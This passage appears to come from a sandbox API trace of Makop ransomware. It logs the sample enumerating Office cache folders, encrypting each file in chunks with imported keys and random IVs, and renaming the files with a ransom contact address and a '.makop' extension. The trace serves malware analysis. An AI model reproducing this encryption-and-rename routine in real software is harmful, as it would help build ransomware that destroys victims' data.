ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0080.036] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0080.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.036] GetProcessHeap () returned 0x48a0000 [0080.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.036] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0080.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.037] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.037] GetProcessHeap () returned 0x48a0000 [0080.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0080.037] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0080.037] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.037] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0080.042] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0080.042] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0080.042] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0080.042] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.042] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0080.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.043] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.043] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.043] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xa40, lpOverlapped=0x0) returned 1 [0080.043] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xa40, dwBufLen=0xa40 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xa40) returned 1 [0080.043] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.043] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xa40, lpOverlapped=0x0) returned 1 [0080.043] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.043] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.043] SetEndOfFile (hFile=0x124) returned 1 [0080.049] GetProcessHeap () returned 0x48a0000 [0080.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0080.049] GetProcessHeap () returned 0x48a0000 [0080.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0080.050] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.051] CloseHandle (hObject=0x124) returned 1 [0080.051] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0080.051] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0080.051] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0080.051] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 62 [0080.051] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*") returned 66 [0080.051] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0080.055] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.055] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0080.055] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0080.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.058] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=1992192) returned 1 [0080.058] GetProcessHeap () returned 0x48a0000 [0080.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.058] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.058] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.059] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.059] GetProcessHeap () returned 0x48a0000 [0080.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.059] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0080.059] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.059] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0080.063] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0080.063] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0080.063] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0080.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.064] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0080.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.064] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.064] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.077] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.082] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.082] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.093] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.096] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.098] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.098] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.098] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.098] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.105] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.108] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.108] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.110] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.110] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.111] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.111] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.111] SetEndOfFile (hFile=0x124) returned 1 [0080.128] GetProcessHeap () returned 0x48a0000 [0080.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.129] GetProcessHeap () returned 0x48a0000 [0080.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.129] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0080.129] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.439] CloseHandle (hObject=0x124) returned 1 [0080.439] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0080.439] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0080.440] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.440] GetProcessHeap () returned 0x48a0000 [0080.440] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.441] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.441] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0080.441] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xe, lpOverlapped=0x0) returned 1 [0080.445] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.445] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.445] GetProcessHeap () returned 0x48a0000 [0080.445] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.445] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0080.445] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.445] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0080.445] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0080.446] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0080.446] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0080.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.446] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0080.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.447] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.447] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10b2, lpOverlapped=0x0) returned 1 [0080.448] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10c0) returned 1 [0080.448] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.449] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10c0, lpOverlapped=0x0) returned 1 [0080.449] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.449] SetEndOfFile (hFile=0x124) returned 1 [0080.456] GetProcessHeap () returned 0x48a0000 [0080.456] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.456] GetProcessHeap () returned 0x48a0000 [0080.456] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.456] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0080.456] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.473] CloseHandle (hObject=0x124) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, 